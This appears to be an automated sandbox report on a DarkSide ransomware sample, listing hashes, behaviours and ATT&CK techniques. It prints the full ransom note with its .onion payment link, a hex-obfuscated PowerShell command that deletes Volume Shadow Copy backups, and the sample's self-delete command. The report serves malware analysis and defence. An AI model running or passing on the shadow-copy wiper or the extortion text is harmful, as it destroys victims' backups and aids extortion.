Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
12/08/2026, 12:27
Behavioral task
behavioral1
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Resource
win11ltsc2024-20260709-en
General
- Target 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
- Size 5.9MB
- Sample260812-pm6lkstyhs
- SHA256 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
- MD5 794c5aa1b0e1f9cf2fc7fe5f22117c3f
- SHA1 1821fe210298b1d22b25f1a544abcfe092999ff7
- SHA512 28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf
- SSDEEP 98304:psCGaED3PF1pAJsqh8rltswCN6N7hqts6G5WWLF3/EDhRKYmKH7dEpuo5jv59Ndr:pMjbpKsZXCNntspWK3/EDLtp7dRopvXP
- TLSH T1C156337366A10099E1D4CD314637FEB571F60B6F8E42B8B85186ACC13A278F6E313697
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
C:\Users\Admin\README.218b006f.TXT
-
darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
-
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
- Family: DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Renames multiple (153) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/memory/4940-14-0x0000000000470000-0x0000000000E18000-memory.dmp vmprotect behavioral2/memory/4940-46-0x0000000000470000-0x0000000000E18000-memory.dmp vmprotect behavioral2/memory/4940-222-0x0000000000470000-0x0000000000E18000-memory.dmp vmprotect -
pid Process 2032 powershell.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\218b006f.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\218b006f.BMP" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallpaperStyle = "10" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe - Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.218b006f 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.218b006f\ = "218b006f" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\218b006f\DefaultIcon 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\218b006f 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\218b006f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\218b006f.ico" 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 2032 powershell.exe 2032 powershell.exe 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe - Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSecurityPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeTakeOwnershipPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeLoadDriverPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemProfilePrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemtimePrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeProfSingleProcessPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeIncBasePriorityPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeCreatePagefilePrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeBackupPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRestorePrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeShutdownPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeSystemEnvironmentPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeRemoteShutdownPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeUndockPrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeManageVolumePrivilege 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 33 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 34 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 35 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: 36 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeBackupPrivilege 5908 vssvc.exe Token: SeRestorePrivilege 5908 vssvc.exe Token: SeAuditPrivilege 5908 vssvc.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4940 wrote to memory of 2032 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 90 PID 4940 wrote to memory of 2688 4940 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe 96 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:2688
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5908
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
- MD5 18a431e2bf1c7189baadfb9c408f62eb
- SHA1 fc8e72f7c9ebcd482cc8d2c04b8bc8f606123c2d
- SHA512 92552b76e6c27c94d721cd140e671db8bd23fbfc1085e099225c52eb8279a4ba90325ec9406f077c13a187e296745d880aec5c42e4b894b7dddf6d64aced536a
- TLSH T175218933B3DC8614CC8A403A10CEAC1036B687DB809ECFABBB84D544B42F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\README.218b006f.TXT
- Size 1KB
- SHA256 5e98b41a51606e16dda30ad4a49457227f75d71ad2004e2942c6b8de6202c4f3
- MD5 65494ea6831e577d82fac2b91b9c3d43
- SHA1 5c23717d22ee9b94306f2d5a2a53c60aca03eb8c
- SHA512 28ba13f7793ac8271af03b26eaeba6cbe707bf1f07fb1792818a6ab270d1c20d0091ef4a10c092f60c373aefe09698d2b470ec6a7f8cfa47103fd8bbb8d7a7bb
- TLSH T16241B57F6F0860620AE2FBF337699EA3F33903A8B1354A46BE5664180319173643E058
- MD5 SHA1 SHA512 TLSH